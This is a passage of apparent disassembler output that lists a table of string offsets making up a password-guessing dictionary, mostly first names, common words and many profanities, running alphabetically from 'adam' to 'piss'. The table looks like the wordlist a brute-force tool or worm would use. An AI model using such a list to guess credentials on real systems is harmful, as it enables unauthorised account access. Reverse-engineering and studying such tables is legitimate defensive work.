"adam" dd offset aAdrian ; "adrian" dd offset aAdrianna ; "adrianna" dd offset aAdult ; "adult" dd offset aAerobics ; "aerobics" dd offset aAids ; "aids" dd offset aAirplane ; "airplane" dd offset aAlaska ; "alaska" dd offset aAlbany ; "albany" dd offset aAlbatros ; "albatros" dd offset aAlbert ; "albert" dd offset aAlert ; "alert" dd offset aAlex ; "alex" dd offset aAlexande ; "alexande" dd offset aAlgebra ; "algebra" dd offset aAlias ; "alias" dd offset aAliases ; "aliases" dd offset aAlice ; "alice" dd offset aAlicia ; "alicia" dd offset aAlisa ; "alisa" dd offset aAlison ; "alison" dd offset aAllison ; "allison" dd offset aAllow ; "allow" dd offset aAlphabet ; "alphabet" dd offset aAmadeus ; "amadeus" dd offset aAmanda ; "amanda" dd offset aAmber ; "amber" dd offset aAmerica ; "america" dd offset aAmorphou ; "amorphou" dd offset aAnal ; "anal" dd offset aAnalog ; "analog" dd offset aAnarchis ; "anarchis" dd offset aAnarchy ; "anarchy" dd offset aAnchor ; "anchor" dd offset aAndrea ; "andrea" dd offset aAndroid ; "android" dd offset aAndromac ; "andromac" dd offset aAndy ; "andy" dd offset aAnfo ; "anfo" dd offset aAngela ; "angela" dd offset aAngerine ; "angerine" dd offset aAngie ; "angie" dd offset aAnimal ; "animal" dd offset aAnimals ; "animals" dd offset aAnita ; "anita" dd offset aAnna ; "anna" dd offset aAnne ; "anne" dd offset aAnnette ; "annette" dd offset aAnon ; "anon" dd offset aAnonymou ; "anonymou" dd offset aAnswer ; "answer" dd offset aAnthrax ; "anthrax" dd offset aAnthropo ; "anthropo" dd offset aAnvils ; "anvils" dd offset aAnything ; "anything" dd offset aApollo13 ; "apollo13" dd offset aApril ; "april" dd offset aAria ; "aria" dd offset aAriadne ; "ariadne" dd offset aArlene ; "arlene" dd offset aArmy ; "army" dd offset aArrow ; "arrow" dd offset aArthur ; "arthur" dd offset aArtist ; "artist" dd offset aAsian ; "asian" dd offset aAsshole ; "asshole" dd offset aAthena ; "athena" dd offset aAtmosphe ; "atmosphe" dd offset aAtom ; "atom" dd offset aAttack ; "attack" dd offset aAuthoriz ; "authoriz" dd offset aAztecs ; "aztecs" dd offset aAzure ; "azure" dd offset aBabe ; "babe" dd offset aBaby ; "baby" dd offset aBacchus ; "bacchus" dd offset aBackdoor ; "backdoor" dd offset aBadass ; "badass" dd offset aBailey ; "bailey" dd offset aBall ; "ball" dd offset aBanana ; "banana" dd offset aBananas ; "bananas" dd offset aBandit ; "bandit" dd offset aBank ; "bank" dd offset aBanks ; "banks" dd offset aBarbara ; "barbara" dd offset aBarber ; "barber" dd offset aBare ; "bare" dd offset aBarf ; "barf" dd offset aBaritone ; "baritone" dd offset aBart ; "bart" dd offset aBartman ; "bartman" dd offset aBaseball ; "baseball" dd offset aBasic ; "basic" dd offset aBass ; "bass" dd offset aBassoon ; "bassoon" dd offset aBatch ; "batch" dd offset aBatman ; "batman" dd offset aBeach ; "beach" dd offset aBeammeup ; "beammeup" dd offset aBear ; "bear" dd offset aBeast ; "beast" dd offset aBeater ; "beater" dd offset aBeauty ; "beauty" dd offset aBeaver ; "beaver" dd offset aBecky ; "becky" dd offset aBeethove ; "beethove" dd offset aBegin ; "begin" dd offset aBehead ; "behead" dd offset aBell ; "bell" dd offset aBeloved ; "beloved" dd offset aBenz ; "benz" dd offset aBeowulf ; "beowulf" dd offset aBerkeley ; "berkeley" dd offset aBerlin ; "berlin" dd offset aBerliner ; "berliner" dd offset aBeryl ; "beryl" dd offset aBeta ; "beta" dd offset aBeth ; "beth" dd offset aBetsie ; "betsie" dd offset aBetty ; "betty" dd offset aBeverly ; "beverly" dd offset aBible ; "bible" dd offset aBicamera ; "bicamera" dd offset aBigfoot ; "bigfoot" dd offset aBill ; "bill" dd offset aBinary ; "binary" dd offset aBios ; "bios" dd offset aBird ; "bird" dd offset aBishop ; "bishop" dd offset aBitch ; "bitch" dd offset aBitmap ; "bitmap" dd offset aBitnet ; "bitnet" dd offset aBlack ; "black" dd offset aBlonde ; "blonde" dd offset aBlondie ; "blondie" dd offset aBlood ; "blood" dd offset aBloodaxe ; "bloodaxe" dd offset aBlow ; "blow" dd offset aBlowjob ; "blowjob" dd offset aBlue ; "blue" dd offset aBlues ; "blues" dd offset aBoard ; "board" dd offset aBomb ; "bomb" dd offset aBoner ; "boner" dd offset aBoob ; "boob" dd offset aBoobs ; "boobs" dd offset aBook ; "book" dd offset aBorn ; "born" dd offset aBoyscout ; "boyscout" dd offset aBradley ; "bradley" dd offset aBrandi ; "brandi" dd offset aBrandy ; "brandy" dd offset aBravo ; "bravo" dd offset aBreak ; "break" dd offset aBreast ; "breast" dd offset aBrenda ; "brenda" dd offset aBrian ; "brian" dd offset aBridget ; "bridget" dd offset aBroadway ; "broadway" dd offset aBrothel ; "brothel" dd offset aBrunette ; "brunette" dd offset aBrute ; "brute" dd offset aBrutefor ; "brutefor" dd offset aBulls ; "bulls" dd offset aBullshit ; "bullshit" dd offset aBumbling ; "bumbling" dd offset aBung ; "bung" dd offset aBurgess ; "burgess" dd offset aBurn ; "burn" dd offset aButch ; "butch" dd offset aButt ; "butt" dd offset aButthead ; "butthead" dd offset aCaliforn ; "californ" dd offset aCamille ; "camille" dd offset aCampanil ; "campanil" dd offset aCamping ; "camping" dd offset aCandi ; "candi" dd offset aCandy ; "candy" dd offset aCantor ; "cantor" dd offset aCaptain ; "captain" dd offset aCapture ; "capture" dd offset aCard ; "card" dd offset aCardinal ; "cardinal" dd offset aCaren ; "caren" dd offset aCarla ; "carla" dd offset aCarmen ; "carmen" dd offset aCarol ; "carol" dd offset aCarole ; "carole" dd offset aCarolina ; "carolina" dd offset aCaroline ; "caroline" dd offset aCarrie ; "carrie" dd offset aCarson ; "carson" dd offset aCascades ; "cascades" dd offset aCash ; "cash" dd offset aCastle ; "castle" dd offset aCatherin ; "catherin" dd offset aCatholic ; "catholic" dd offset aCathy ; "cathy" dd offset aCave ; "cave" dd offset aCayuga ; "cayuga" dd offset aCecily ; "cecily" dd offset aCelt ; "celt" dd offset aCeltic ; "celtic" dd offset aCeltics ; "celtics" dd offset aCerulean ; "cerulean" dd offset aChange ; "change" dd offset aCharity ; "charity" dd offset aCharles ; "charles" dd offset aCharlie ; "charlie" dd offset aCharming ; "charming" dd offset aCharon ; "charon" dd offset aChat_0 ; "chat" dd offset aChem ; "chem" dd offset aChemistr ; "chemistr" dd offset aChess ; "chess" dd offset aChester ; "chester" dd offset aChip ; "chip" dd offset aChris ; "chris" dd offset aChristin ; "christin" dd offset aChristy ; "christy" dd offset aCigar ; "cigar" dd offset aCigarett ; "cigarett" dd offset aCindy ; "cindy" dd offset aClass ; "class" dd offset aClasses ; "classes" dd offset aClassic ; "classic" dd offset aClaudia ; "claudia" dd offset aClaymore ; "claymore" dd offset aCleavage ; "cleavage" dd offset aClinton ; "clinton" dd offset aCluster ; "cluster" dd offset aClusters ; "clusters" dd offset aCoast ; "coast" dd offset aCocacola ; "cocacola" dd offset aCocainco ; "cocainco" dd offset aCock ; "cock" dd offset aCode ; "code" dd offset aCodename ; "codename" dd offset aCodeword ; "codeword" dd offset aCoffee ; "coffee" dd offset aCoin ; "coin" dd offset aCoke ; "coke" dd offset aCola ; "cola" dd offset aCold ; "cold" dd offset aCollins ; "collins" dd offset aColor ; "color" dd offset aCombat ; "combat" dd offset aComics ; "comics" dd offset aCommit ; "commit" dd offset aCommrade ; "commrade" dd offset aCompany ; "company" dd offset aComputin ; "computin" dd offset aComrade ; "comrade" dd offset aComrades ; "comrades" dd offset aCondo ; "condo" dd offset aCondom ; "condom" dd offset aConnect ; "connect" dd offset aConnie ; "connie" dd offset aConserva ; "conserva" dd offset aConsole ; "console" dd offset aContinue ; "continue" dd offset aCook ; "cook" dd offset aCookbook ; "cookbook" dd offset aCookie ; "cookie" dd offset aCool ; "cool" dd offset aCooper ; "cooper" dd offset aCopper ; "copper" dd offset aCops ; "cops" dd offset aCopy ; "copy" dd offset aCorneliu ; "corneliu" dd offset aCorrect ; "correct" dd offset aCounters ; "counters" dd offset aCountry ; "country" dd offset aCouscous ; "couscous" dd offset aCowboy ; "cowboy" dd offset aCrack ; "crack" dd offset aCrackpot ; "crackpot" dd offset aCream ; "cream" dd offset aCreate ; "create" dd offset aCreation ; "creation" dd offset aCreature ; "creature" dd offset aCredit ; "credit" dd offset aCreosote ; "creosote" dd offset aCretin ; "cretin" dd offset aCrime ; "crime" dd offset aCriminal ; "criminal" dd offset aCristina ; "cristina" dd offset aCrystal ; "crystal" dd offset aCshrc ; "cshrc" dd offset aCunt ; "cunt" dd offset aCustomer ; "customer" dd offset aCyber ; "cyber" dd offset aCyberpun ; "cyberpun" dd offset aCyberspa ; "cyberspa" dd offset aCynthia ; "cynthia" dd offset aDaemon ; "daemon" dd offset aDaisy ; "daisy" dd offset aDana ; "dana" dd offset aDancer ; "dancer" dd offset aDaniel ; "daniel" dd offset aDanielle ; "danielle" dd offset aDanny ; "danny" dd offset aDapper ; "dapper" dd offset aDark ; "dark" dd offset aDarkaven ; "darkaven" dd offset aData ; "data" dd offset aDave ; "dave" dd offset aDawn ; "dawn" dd offset aDead ; "dead" dd offset aDeathsta ; "deathsta" dd offset aDebbie ; "debbie" dd offset aDeborah ; "deborah" dd offset aDebug ; "debug" dd offset aDecember ; "december" dd offset aDeck ; "deck" dd offset aDefault ; "default" dd offset aDefault_0 ; "DEFAULT" dd offset aDefoe ; "defoe" dd offset aDelta ; "delta" dd offset aDeluge ; "deluge" dd offset aDemocrat ; "democrat" dd offset aDenise ; "denise" dd offset aDennis ; "dennis" dd offset aDesiree ; "desiree" dd offset aDesk ; "desk" dd offset aDesktop ; "desktop" dd offset aDesperat ; "desperat" dd offset aDevelop ; "develop" dd offset aDevice ; "device" dd offset aDial ; "dial" dd offset aDiamond ; "diamond" dd offset aDiana ; "diana" dd offset aDiane ; "diane" dd offset aDice ; "dice" dd offset aDick ; "dick" dd offset aDiehard ; "diehard" dd offset aDiet ; "diet" dd offset aDieter ; "dieter" dd offset aDigital ; "digital" dd offset aDinosaur ; "dinosaur" dd offset aDipshit ; "dipshit" dd offset aDirect ; "direct" dd offset aDirector ; "director" dd offset aDirty ; "dirty" dd offset aDisc ; "disc" dd offset aDiscipli ; "discipli" dd offset aDisclose ; "disclose" dd offset aDiscover ; "discover" dd offset aDisk_0 ; "disk" dd offset aDiskette ; "diskette" dd offset aDisney ; "disney" dd offset aDisplay ; "display" dd offset aDoctor ; "doctor" dd offset aDollar ; "dollar" dd offset aDong ; "dong" dd offset aDoom ; "doom" dd offset aDoom2 ; "doom2" dd offset aDoomii ; "doomii" dd offset aDoomsday ; "doomsday" dd offset aDoonesbu ; "doonesbu" dd offset aDoor ; "door" dd offset aDoors ; "doors" dd offset aDope ; "dope" dd offset aDownload ; "download" dd offset aDragon ; "dragon" dd offset aDrdoom ; "drdoom" dd offset aDrive ; "drive" dd offset aDrought ; "drought" dd offset aDuck ; "duck" dd offset aDude ; "dude" dd offset aDuelist ; "duelist" dd offset aDuke ; "duke" dd offset aDulce ; "dulce" dd offset aDuncan ; "duncan" dd offset aDungeon ; "dungeon" dd offset aDyke ; "dyke" dd offset aEager ; "eager" dd offset aEagle ; "eagle" dd offset aEarth ; "earth" dd offset aEasier ; "easier" dd offset aEasy ; "easy" dd offset aEatme ; "eatme" dd offset aEcho ; "echo" dd offset aEddie ; "eddie" dd offset aEdges ; "edges" dd offset aEdinburg ; "edinburg" dd offset aEdit ; "edit" dd offset aEdition ; "edition" dd offset aEducation ; "education" dd offset aEducatio ; "educatio" dd offset aEdwin ; "edwin" dd offset aEdwina ; "edwina" dd offset aEgghead ; "egghead" dd offset aEiderdow ; "eiderdow" dd offset aEileen ; "eileen" dd offset aEinsiein ; "einsiein" dd offset aEinstein ; "einstein" dd offset aElaine ; "elaine" dd offset aElanor ; "elanor" dd offset aElectron ; "electron" dd offset aElephant ; "elephant" dd offset aElizabet ; "elizabet" dd offset aEllen ; "ellen" dd offset aEmail ; "email" dd offset aEmerald ; "emerald" dd offset aEmily ; "emily" dd offset aEmmanuel ; "emmanuel" dd offset aEnemy ; "enemy" dd offset aEngine ; "engine" dd offset aEngineer ; "engineer" dd offset aEngland ; "england" dd offset aEnglish ; "english" dd offset aEnter ; "enter" dd offset aEnterpri ; "enterpri" dd offset aEnzyme ; "enzyme" dd offset aErenity ; "erenity" dd offset aEric ; "eric" dd offset aErica ; "erica" dd offset aErika ; "erika" dd offset aErin ; "erin" dd offset aErotic ; "erotic" dd offset aErsatz ; "ersatz" dd offset aEstablis ; "establis" dd offset aEstate ; "estate" dd offset aEternity ; "eternity" dd offset aEuclid ; "euclid" dd offset aEvelyn ; "evelyn" dd offset aExpert ; "expert" dd offset aExplode ; "explode" dd offset aExplore ; "explore" dd offset aExplorer ; "explorer" dd offset aExplosiv ; "explosiv" dd offset aExtensio ; "extensio" dd offset aFairway ; "fairway" dd offset aFaith ; "faith" dd offset aFalcon ; "falcon" dd offset aFalse ; "false" dd offset aFamily ; "family" dd offset aFarad ; "farad" dd offset aFaraday ; "faraday" dd offset aFart ; "fart" dd offset aFast ; "fast" dd offset aFear ; "fear" dd offset aFeds ; "feds" dd offset aFelicia ; "felicia" dd offset aFender ; "fender" dd offset aFermat ; "fermat" dd offset aFerrari ; "ferrari" dd offset aFidelity ; "fidelity" dd offset aField ; "field" dd offset aFight ; "fight" dd offset aFile ; "file" dd offset aFinite ; "finite" dd offset aFire ; "fire" dd offset aFirewall ; "firewall" dd offset aFishers ; "fishers" dd offset aFlakes ; "flakes" dd offset aFloat ; "float" dd offset aFlorida ; "florida" dd offset aFlower ; "flower" dd offset aFlowers ; "flowers" dd offset aFood ; "food" dd offset aFool ; "fool" dd offset aFoolproo ; "foolproo" dd offset aFootball ; "football" dd offset aForce ; "force" dd offset aFord ; "ford" dd offset aForesigh ; "foresigh" dd offset aForever ; "forever" dd offset aForm ; "form" dd offset aFormat ; "format" dd offset aFornicat ; "fornicat" dd offset aForsythe ; "forsythe" dd offset aFourier ; "fourier" dd offset aFoxtrot ; "foxtrot" dd offset aFrance ; "france" dd offset aFrank ; "frank" dd offset aFreak ; "freak" dd offset aFred ; "fred" dd offset aFree ; "free" dd offset aFreedom ; "freedom" dd offset aFrench ; "french" dd offset aFriday ; "friday" dd offset aFriend ; "friend" dd offset aFriends ; "friends" dd offset aFrighten ; "frighten" dd offset aFrog ; "frog" dd offset aFryguy ; "fryguy" dd offset aFuck ; "fuck" dd offset aFucker ; "fucker" dd offset aFucking ; "fucking" dd offset aFuckme ; "fuckme" dd offset aFuckyou ; "fuckyou" dd offset aFudge ; "fudge" dd offset aFunction ; "function" dd offset aFungible ; "fungible" dd offset aGabriel ; "gabriel" dd offset aGames ; "games" dd offset aGardner ; "gardner" dd offset aGarfield ; "garfield" dd offset aGateway ; "gateway" dd offset aGatherin ; "gatherin" dd offset aGatt ; "gatt" dd offset aGauss ; "gauss" dd offset aGeorge ; "george" dd offset aGerm ; "germ" dd offset aGertrude ; "gertrude" dd offset aGhost ; "ghost" dd offset aGibson ; "gibson" dd offset aGigabyte ; "gigabyte" dd offset aGina ; "gina" dd offset aGinger ; "ginger" dd offset aGirl ; "girl" dd offset aGlacier ; "glacier" dd offset aGold ; "gold" dd offset aGolden ; "golden" dd offset aGolf ; "golf" dd offset aGolfer ; "golfer" dd offset aGood ; "good" dd offset aGorgeous ; "gorgeous" dd offset aGorges ; "gorges" dd offset aGosling ; "gosling" dd offset aGouge ; "gouge" dd offset aGovermen ; "govermen" dd offset aGrades ; "grades" dd offset aGraham ; "graham" dd offset aGrahm ; "grahm" dd offset aGrand ; "grand" dd offset aGrant ; "grant" dd offset aGreat ; "great" dd offset aGreen ; "green" dd offset aGroup ; "group" dd offset aGryphon ; "gryphon" dd offset aGuardian ; "guardian" dd offset aGucci ; "gucci" dd offset aGuess ; "guess" dd offset aGuitar ; "guitar" dd offset aGumption ; "gumption" dd offset aGuntis ; "guntis" dd offset aHack ; "hack" dd offset aHacked ; "hacked" dd offset aHagar ; "hagar" dd offset aHair ; "hair" dd offset aHallowee ; "hallowee" dd offset aHamlet ; "hamlet" dd offset aHamster ; "hamster" dd offset aHandel ; "handel" dd offset aHandily ; "handily" dd offset aHandjob ; "handjob" dd offset aHappenin ; "happenin" dd offset aHard ; "hard" dd offset aHardcore ; "hardcore" dd offset aHarddriv ; "harddriv" dd offset aHarmony ; "harmony" dd offset aHarold ; "harold" dd offset aHarvey ; "harvey" dd offset aHate ; "hate" dd offset aHaven ; "haven" dd offset aHawaii ; "hawaii" dd offset aHead ; "head" dd offset aHeadbang ; "headbang" dd offset aHeat ; "heat" dd offset aHeathen ; "heathen" dd offset aHeather ; "heather" dd offset aHebrides ; "hebrides" dd offset aHeidi ; "heidi" dd offset aHeinlein ; "heinlein" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aHelp ; "help" dd offset aHerb ; "herb" dd offset aHerbert ; "herbert" dd offset aHero ; "hero" dd offset aHeroin ; "heroin" dd offset aHewlett ; "hewlett" dd offset aHexadeci ; "hexadeci" dd offset aHiawatha ; "hiawatha" dd offset aHibernia ; "hibernia" dd offset aHidden ; "hidden" dd offset aHigh ; "high" dd offset aHighland ; "highland" dd offset aHitler ; "hitler" dd offset aHits ; "hits" dd offset aHole ; "hole" dd offset aHolly ; "holly" dd offset aHollywoo ; "hollywoo" dd offset aHomepage ; "homepage" dd offset aHomer ; "homer" dd offset aHomework ; "homework" dd offset aHoney ; "honey" dd offset aHooker ; "hooker" dd offset aHooters ; "hooters" dd offset aHorny ; "horny" dd offset aHorrible ; "horrible" dd offset aHorror ; "horror" dd offset aHorse ; "horse" dd offset aHorus ; "horus" dd offset aHost ; "host" dd offset aHotdog ; "hotdog" dd offset aHotel ; "hotel" dd offset aHttp_0 ; "http" dd offset aHunt ; "hunt" dd offset aHunter ; "hunter" dd offset aHutchins ; "hutchins" dd offset aHydrogen ; "hydrogen" dd offset aHyper ; "hyper" dd offset aHypertxt ; "hypertxt" dd offset aIcecream ; "icecream" dd offset aIllumina ; "illumina" dd offset aImage ; "image" dd offset aImbrogli ; "imbrogli" dd offset aImmortal ; "immortal" dd offset aImperial ; "imperial" dd offset aInclude ; "include" dd offset aIndia ; "india" dd offset aIndian ; "indian" dd offset aIndiana ; "indiana" dd offset aIndians ; "indians" dd offset aIngres ; "ingres" dd offset aIngress ; "ingress" dd offset aIngrid ; "ingrid" dd offset aInna ; "inna" dd offset aInnocuou ; "innocuou" dd offset aInput ; "input" dd offset aInside ; "inside" dd offset aInteger ; "integer" dd offset aInvent ; "invent" dd offset aIrene ; "irene" dd offset aIrishman ; "irishman" dd offset aIsis ; "isis" dd offset aJackie ; "jackie" dd offset aJail ; "jail" dd offset aJane ; "jane" dd offset aJanet ; "janet" dd offset aJanice ; "janice" dd offset aJanie ; "janie" dd offset aJapan ; "japan" dd offset aJasmin ; "jasmin" dd offset aJava ; "java" dd offset aJazz ; "jazz" dd offset aJean ; "jean" dd offset aJeanne ; "jeanne" dd offset aJeff ; "jeff" dd offset aJenni ; "jenni" dd offset aJennifer ; "jennifer" dd offset aJenny ; "jenny" dd offset aJerry ; "jerry" dd offset aJerusale ; "jerusale" dd offset aJessica ; "jessica" dd offset aJester ; "jester" dd offset aJewelry ; "jewelry" dd offset aJill ; "jill" dd offset aJixian ; "jixian" dd offset aJoanne ; "joanne" dd offset aJody ; "jody" dd offset aJohn ; "john" dd offset aJohndoe ; "johndoe" dd offset aJohnny ; "johnny" dd offset aJoseph ; "joseph" dd offset aJoshua ; "joshua" dd offset aJournal ; "journal" dd offset aJoyce ; "joyce" dd offset aJudith ; "judith" dd offset aJudy ; "judy" dd offset aJuggle ; "juggle" dd offset aJuicy ; "juicy" dd offset aJulia ; "julia" dd offset aJulie ; "julie" dd offset aJuliet ; "juliet" dd offset aJune ; "june" dd offset aJupiter ; "jupiter" dd offset aKaka ; "kaka" dd offset aKaren ; "karen" dd offset aKarie ; "karie" dd offset aKarina ; "karina" dd offset aKatana ; "katana" dd offset aKate ; "kate" dd offset aKathleen ; "kathleen" dd offset aKathrine ; "kathrine" dd offset aKathy ; "kathy" dd offset aKatina ; "katina" dd offset aKatrina ; "katrina" dd offset aKelly ; "kelly" dd offset aKeri ; "keri" dd offset aKermit ; "kermit" dd offset aKernel ; "kernel" dd offset aKerri ; "kerri" dd offset aKerrie ; "kerrie" dd offset aKerry ; "kerry" dd offset aKevin ; "kevin" dd offset aKewl ; "kewl" dd offset aKeybord ; "keybord" dd offset aKeyin ; "keyin" dd offset aKeyword ; "keyword" dd offset aKids ; "kids" dd offset aKill ; "kill" dd offset aKillthem ; "killthem" dd offset aKilo ; "kilo" dd offset aKimberly ; "kimberly" dd offset aKing ; "king" dd offset aKirk ; "kirk" dd offset aKirkland ; "kirkland" dd offset aKiss ; "kiss" dd offset aKissmyas ; "kissmyas" dd offset aKitten ; "kitten" dd offset aKlingon ; "klingon" dd offset aKnife ; "knife" dd offset aKnight ; "knight" dd offset aKnightma ; "knightma" dd offset aKnown ; "known" dd offset aKrista ; "krista" dd offset aKristen ; "kristen" dd offset aKristi ; "kristi" dd offset aKristie ; "kristie" dd offset aKristin ; "kristin" dd offset aKristine ; "kristine" dd offset aKristy ; "kristy" dd offset aLadies ; "ladies" dd offset aLadle ; "ladle" dd offset aLakers ; "lakers" dd offset aLambda ; "lambda" dd offset aLaminati ; "laminati" dd offset aLana ; "lana" dd offset aLaptop ; "laptop" dd offset aLara ; "lara" dd offset aLarkin ; "larkin" dd offset aLarry ; "larry" dd offset aLaser ; "laser" dd offset aLaura ; "laura" dd offset aLava ; "lava" dd offset aLazarus ; "lazarus" dd offset aLazer ; "lazer" dd offset aLeah ; "leah" dd offset aLebesgue ; "lebesgue" dd offset aLeft ; "left" dd offset aLeftwing ; "leftwing" dd offset aLegal ; "legal" dd offset aLeland ; "leland" dd offset aLeroy ; "leroy" dd offset aLesbian ; "lesbian" dd offset aLeslie ; "leslie" dd offset aLetmein ; "letmein" dd offset aLewis ; "lewis" dd offset aLexluthe ; "lexluthe" dd offset aLiberal ; "liberal" dd offset aLibrary ; "library" dd offset aLick ; "lick" dd offset aLicker ; "licker" dd offset aLife ; "life" dd offset aLight ; "light" dd offset aLightsab ; "lightsab" dd offset aLima ; "lima" dd offset aLimbaugh ; "limbaugh" dd offset aLimited ; "limited" dd offset aLinda ; "linda" dd offset aLink ; "link" dd offset aLion ; "lion" dd offset aLips ; "lips" dd offset aLisa ; "lisa" dd offset aLisp ; "lisp" dd offset aLiteratu ; "literatu" dd offset aLive ; "live" dd offset aLoad ; "load" dd offset aLock ; "lock" dd offset aLockout ; "lockout" dd offset aLockword ; "lockword" dd offset aLogic ; "logic" dd offset aLoginwor ; "loginwor" dd offset aLogout ; "logout" dd offset aLois ; "lois" dd offset aLolopc ; "lolopc" dd offset aLoose ; "loose" dd offset aLore ; "lore" dd offset aLori ; "lori" dd offset aLorin ; "lorin" dd offset aLorraine ; "lorraine" dd offset aLoser ; "loser" dd offset aLouis ; "louis" dd offset aLovebug ; "lovebug" dd offset aLover ; "lover" dd offset aLuck ; "luck" dd offset aLucus ; "lucus" dd offset aLucy ; "lucy" dd offset aLude ; "lude" dd offset aLuke ; "luke" dd offset aLust ; "lust" dd offset aLynn ; "lynn" dd offset aLynne ; "lynne" dd offset aMachine ; "machine" dd offset aMacintos ; "macintos" dd offset aMack ; "mack" dd offset aMacro ; "macro" dd offset aMaggot ; "maggot" dd offset aMagic ; "magic" dd offset aMagnet ; "magnet" dd offset aMail ; "mail" dd offset aMaint ; "maint" dd offset aMalcolm ; "malcolm" dd offset aMalcom ; "malcom" dd offset aMana ; "mana" dd offset aManager ; "manager" dd offset aMara ; "mara" dd offset aMarci ; "marci" dd offset aMarcy ; "marcy" dd offset aMaria ; "maria" dd offset aMariens ; "mariens" dd offset aMarietta ; "marietta" dd offset aMarijuan ; "marijuan" dd offset aMarines ; "marines" dd offset aMark ; "mark" dd offset aMarkus ; "markus" dd offset aMarni ; "marni" dd offset aMarriage ; "marriage" dd offset aMars ; "mars" dd offset aMarty ; "marty" dd offset aMarvin ; "marvin" dd offset aMary ; "mary" dd offset aMason ; "mason" dd offset aMaster ; "master" dd offset aMath ; "math" dd offset aMaurice ; "maurice" dd offset aMeagan ; "meagan" dd offset aMegabyte ; "megabyte" dd offset aMegadeth ; "megadeth" dd offset aMegan ; "megan" dd offset aMelissa ; "melissa" dd offset aMellon ; "mellon" dd offset aMelrose ; "melrose" dd offset aMember ; "member" dd offset aMemory ; "memory" dd offset aMenace ; "menace" dd offset aMenu ; "menu" dd offset aMercury ; "mercury" dd offset aMerlin ; "merlin" dd offset aMetal ; "metal" dd offset aMetalhea ; "metalhea" dd offset aMetalica ; "metalica" dd offset aMets ; "mets" dd offset aMice ; "mice" dd offset aMichael ; "michael" dd offset aMichel ; "michel" dd offset aMichelan ; "michelan" dd offset aMichele ; "michele" dd offset aMichelle ; "michelle" dd offset aMickey ; "mickey" dd offset aMicro ; "micro" dd offset aMicrochi ; "microchi" dd offset aMicropro ; "micropro" dd offset aMicrosof ; "microsof" dd offset aMidieval ; "midieval" dd offset aMike ; "mike" dd offset aMine ; "mine" dd offset aMinimum ; "minimum" dd offset aMinsky ; "minsky" dd offset aMisfit ; "misfit" dd offset aMission ; "mission" dd offset aMkii ; "mkii" dd offset aMode ; "mode" dd offset aModem ; "modem" dd offset aMogul ; "mogul" dd offset aMoguls ; "moguls" dd offset aMonday ; "monday" dd offset aMonica ; "monica" dd offset aMoom ; "moom" dd offset aMoor ; "moor" dd offset aMoose ; "moose" dd offset aMore ; "more" dd offset aMorley ; "morley" dd offset aMorris ; "morris" dd offset aMortal ; "mortal" dd offset aMortalco ; "mortalco" dd offset aMortgage ; "mortgage" dd offset aMosaic ; "mosaic" dd offset aMountain ; "mountain" dd offset aMouse ; "mouse" dd offset aMove ; "move" dd offset aMovie ; "movie" dd offset aMovies ; "movies" dd offset aMozart ; "mozart" dd offset aMpeg ; "mpeg" dd offset aMsdos ; "msdos" dd offset aMuppets ; "muppets" dd offset aMutant ; "mutant" dd offset aNagel ; "nagel" dd offset aName ; "name" dd offset aNancy ; "nancy" dd offset aNapoleon ; "napoleon" dd offset aNasa ; "nasa" dd offset aNavy ; "navy" dd offset aNepenthe ; "nepenthe" dd offset aNeptune ; "neptune" dd offset aNess ; "ness" dd offset aNetscape ; "netscape" dd offset aNetwork_0 ; "network" dd offset aNewborn ; "newborn" dd offset aNews ; "news" dd offset aNewsgrou ; "newsgrou" dd offset aNewton ; "newton" dd offset aNewyork ; "newyork" dd offset aNext ; "next" dd offset aNice ; "nice" dd offset aNicole ; "nicole" dd offset aNicotine ; "nicotine" dd offset aNight ; "night" dd offset aNightmar ; "nightmar" dd offset aNintendo ; "nintendo" dd offset aNita ; "nita" dd offset aNnaacp ; "nnaacp" dd offset aNoble ; "noble" dd offset aNobody ; "nobody" dd offset aNode ; "node" dd offset aNoreen ; "noreen" dd offset aNotes ; "notes" dd offset aNoth ; "noth" dd offset aNova ; "nova" dd offset aNovel ; "novel" dd offset aNovember ; "november" dd offset aNoxious ; "noxious" dd offset aNuclear ; "nuclear" dd offset aNude ; "nude" dd offset aNuke ; "nuke" dd offset aNukem ; "nukem" dd offset aNull_1 ; "null" dd offset aNumber ; "number" dd offset aNutritio ; "nutritio" dd offset aNuts ; "nuts" dd offset aNyquist ; "nyquist" dd offset aObscurit ; "obscurit" dd offset aOceanogr ; "oceanogr" dd offset aOcelot ; "ocelot" dd offset aOffice ; "office" dd offset aOkay ; "okay" dd offset aOldage ; "oldage" dd offset aOlivetti ; "olivetti" dd offset aOlivia ; "olivia" dd offset aOmega ; "omega" dd offset aOpen ; "open" dd offset aOpening ; "opening" dd offset aOpenlock ; "openlock" dd offset aOpensesa ; "opensesa" dd offset aOperator ; "operator" dd offset aOrca ; "orca" dd offset aOrient ; "orient" dd offset aOrwell ; "orwell" dd offset aOscar ; "oscar" dd offset aOsiris ; "osiris" dd offset aOutdoors ; "outdoors" dd offset aOutlaw ; "outlaw" dd offset aOutput ; "output" dd offset aOutside ; "outside" dd offset aOxford ; "oxford" dd offset aPacific ; "pacific" dd offset aPackard ; "packard" dd offset aPacker ; "packer" dd offset aPainless ; "painless" dd offset aPaint ; "paint" dd offset aPakistan ; "pakistan" dd offset aPamela ; "pamela" dd offset aPapa ; "papa" dd offset aPaper ; "paper" dd offset aPapers ; "papers" dd offset aPascal ; "pascal" dd offset aPassphra ; "passphra" dd offset aPaste ; "paste" dd offset aPatricia ; "patricia" dd offset aPatriot ; "patriot" dd offset aPatty ; "patty" dd offset aPaula ; "paula" dd offset aPeanuts ; "peanuts" dd offset aPecker ; "pecker" dd offset aPencil ; "pencil" dd offset aPenelope ; "penelope" dd offset aPenguin ; "penguin" dd offset aPenis ; "penis" dd offset aPenname ; "penname" dd offset aPentagon ; "pentagon" dd offset aPentagra ; "pentagra" dd offset aPenthous ; "penthous" dd offset aPentium ; "pentium" dd offset aPeoria ; "peoria" dd offset aPepper ; "pepper" dd offset aPercolat ; "percolat" dd offset aPerfect ; "perfect" dd offset aPermit ; "permit" dd offset aPersimmo ; "persimmo" dd offset aPersona ; "persona" dd offset aPervert ; "pervert" dd offset aPete ; "pete" dd offset aPeter ; "peter" dd offset aPhil ; "phil" dd offset aPhilip ; "philip" dd offset aPhoenix ; "phoenix" dd offset aPhone ; "phone" dd offset aPhoton ; "photon" dd offset aPhrack ; "phrack" dd offset aPhrase ; "phrase" dd offset aPhreak ; "phreak" dd offset aPhuck ; "phuck" dd offset aPick ; "pick" dd offset aPierre ; "pierre" dd offset aPimp ; "pimp" dd offset aPinname ; "pinname" dd offset aPiss ; "piss" dd offset 